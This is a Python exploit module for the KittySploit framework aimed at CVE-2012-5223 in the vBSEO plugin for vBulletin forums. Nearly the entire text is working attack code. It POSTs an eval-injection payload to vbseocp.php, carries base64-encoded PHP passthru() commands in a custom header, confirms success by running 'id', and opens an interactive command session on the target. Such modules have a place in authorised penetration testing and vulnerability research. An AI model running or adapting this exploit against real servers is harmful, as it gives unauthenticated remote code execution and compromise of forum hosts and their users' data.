vBSEO proc_deutf RCE (CVE-2012-5223)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vBSEO proc_deutf eval RCE (CVE-2012-5223) — execute session."""

from __future__ import annotations

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'vBSEO proc_deutf RCE (CVE-2012-5223)',
        'description': (
            'Exploits CVE-2012-5223 eval injection in vBSEO via char_repl POST to '
            'vbseocp.php with base64 PHP in the Code header. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2012-5223'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2012-5223',
        ],
        'tags': ['vbulletin', 'vbseo', 'eval', 'rce', 'unauth', 'cve-2012-5223'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'vbseocp.php eval'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2012_5223_detect'],
            },
        },
    }

    base_path = OptString('', 'Forum base path', False, advanced=True)

    _DATA = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['', '/forum', '/vb']

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        code = base64.b64encode(f'passthru("{safe}");'.encode()).decode('ascii')
        bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
        for base in bases:
            if base is None:
                continue
            path = f'{base}/vbseocp.php'
            r = self.http_request(
                method='POST',
                path=path,
                data=self._DATA,
                headers={
                    'Content-Type': 'application/x-www-form-urlencoded',
                    'Code': code,
                },
                allow_redirects=False,
            )
            if r:
                self._hit_base = base
                return r.text or ''
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2012-5223 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'vbseocp.php eval did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()